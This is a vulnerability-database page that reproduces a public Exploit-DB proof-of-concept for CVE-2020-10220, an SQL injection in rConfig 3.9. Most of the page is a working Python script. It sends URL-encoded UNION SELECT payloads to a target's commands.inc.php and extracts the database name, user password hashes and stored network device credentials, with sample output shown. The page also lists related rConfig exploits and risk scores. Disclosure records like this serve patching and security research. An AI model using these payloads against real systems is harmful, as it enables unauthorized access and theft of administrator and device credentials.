Lucene search
K

rConfig 3.9 - 'searchColumn' SQL Injection

🗓️ 12 Mar 2020 00:00:00Reported by vikingfrType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 276 Views

rConfig 3.9 SQL Injection - Extracts DB info, user details, and device informatio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
rConfig 3.9 - (searchColumn) SQL Injection Exploit
12 Mar 202000:00
zdt
0day.today
Rconfig 3.x Chained Remote Code Execution Exploit
17 Mar 202000:00
zdt
0day.today
rConfig 3.9.4 - (searchField) Unauthenticated Root Remote Code Execution Exploit
28 Mar 202000:00
zdt
GithubExploit
Exploit for OS Command Injection in Rconfig
2 Dec 201916:32
githubexploit
ATTACKERKB
CVE-2020-10547
4 Jun 202000:00
attackerkb
ATTACKERKB
CVE-2020-10548
4 Jun 202000:00
attackerkb
ATTACKERKB
CVE-2020-10549
4 Jun 202000:00
attackerkb
ATTACKERKB
CVE-2020-10546
4 Jun 202000:00
attackerkb
ATTACKERKB
CVE-2020-10220
7 Mar 202000:00
attackerkb
Circl
CVE-2020-10220
16 Mar 202011:28
circl
Rows per page
# Exploit Title: rConfig 3.9 - 'searchColumn' SQL Injection
# Exploit Author: vikingfr
# Date: 2020-03-03
# CVE-2020-10220
# Exploit link : https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2020-10220.py
# Vendor Homepage: https://rconfig.com/ (see also : https://github.com/rconfig/rconfig)
# Software Link : https://www.rconfig.com/downloads/rconfig-3.9.4.zip
# Install scripts  : 
# https://www.rconfig.com/downloads/scripts/install_rConfig.sh
# https://www.rconfig.com/downloads/scripts/centos7_install.sh
# https://www.rconfig.com/downloads/scripts/centos6_install.sh
# Version: tested v3.9.4
# Tested on: Apache/2.4.6 (CentOS 7.7) OpenSSL/1.0.2k-fips PHP/7.2.24
#
# Notes : If you want to reproduce in your lab environment follow those links :
# http://help.rconfig.com/gettingstarted/installation
# then
# http://help.rconfig.com/gettingstarted/postinstall
#
# $ python3 rconfig_sqli.py https://1.1.1.1
# rconfig 3.9 - SQL Injection PoC
# [+] Triggering the payloads on https://1.1.1.1/commands.inc.php
# [+] Extracting the current DB name :
# rconfig2
# [+] Extracting 10 first users :
# admin:1:63a9f0ea7bb98050796b649e85481845
# Maybe no more information ?
# Maybe no more information ?
# [snip]
# [+] Extracting 10 first devices :
# 127-0-0-1:127.0.0.1::ocdvulnpass:
# deviceTestName:1.1.1.1:myusertest:mysecret:myenablesecret
# Maybe no more information ?
# Maybe no more information ?
# [snip]
# Done
 

#!/usr/bin/python3
import requests
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

print ("rconfig 3.9 - SQL Injection PoC")
if len(sys.argv) != 2:
    print ("[+] Usage : ./rconfig_exploit.py https://target")
    exit()

vuln_page="/commands.inc.php"
vuln_parameters="?searchOption=contains&searchField=vuln&search=search&searchColumn=command"
given_target = sys.argv[1]
target =  given_target
target += vuln_page
target += vuln_parameters

request = requests.session()
dashboard_request = request.get(target+vuln_page, allow_redirects=False, verify=False)


def extractDBinfos(myTarget=None,myPayload=None):
	"""
	Extract information from database
	Args:
		- target+payload (String)
	Returns:
		- payload result (String)
	"""
	result = ""
	encoded_request = myTarget+myPayload
	exploit_req = request.get(encoded_request)
	if '[PWN]' in str(exploit_req.content):
		result = str(exploit_req.content).split('[PWN]')[1]
	else:
		result="Maybe no more information ?"
	
	return result


if dashboard_request.status_code != 404:
	print ("[+] Triggering the payloads on "+given_target+vuln_page)
	# get the db name
	print ("[+] Extracting the current DB name :")
	db_payload = "%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,database(),0x5B50574E5D3C42523E)%20limit%200,1),NULL--"
	db_name = extractDBinfos(target,db_payload)
	print (db_name)
    # DB extract users
	print ("[+] Extracting 10 first users :")
	for i in range (0, 10):
            user1_payload="%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,username,0x3A,id,0x3A,password,0x5B50574E5D3C42523E)%20FROM%20"+db_name+".users+limit+"+str(i)+","+str(i+1)+"),NULL--"
            user_h = extractDBinfos(target,user1_payload)
            #print ("[+] Dump device "+str(i))
            print (user_h)
    # DB extract devices information
	print ("[+] Extracting 10 first devices :")
	for i in range (0, 10):
            device_payload="%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,deviceName,0x3A,deviceIpAddr,0x3A,deviceUsername,0x3A,devicePassword,0x3A,deviceEnablePassword,0x5B50574E5D3C42523E)%20FROM%20"+db_name+".nodes+limit+"+str(i)+","+str(i+1)+"),NULL--"
            device_h = extractDBinfos(target,device_payload)
            #print ("[+] Dump device "+str(i))
            print (device_h)
    
	print ("Done")
	               
else:
    print ("[-] Please verify the URI")
    exit()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Mar 2020 00:00Current
9.5High risk
Vulners AI Score9.5
CVSS 27.5
CVSS 3.19.8
EPSS0.94261
276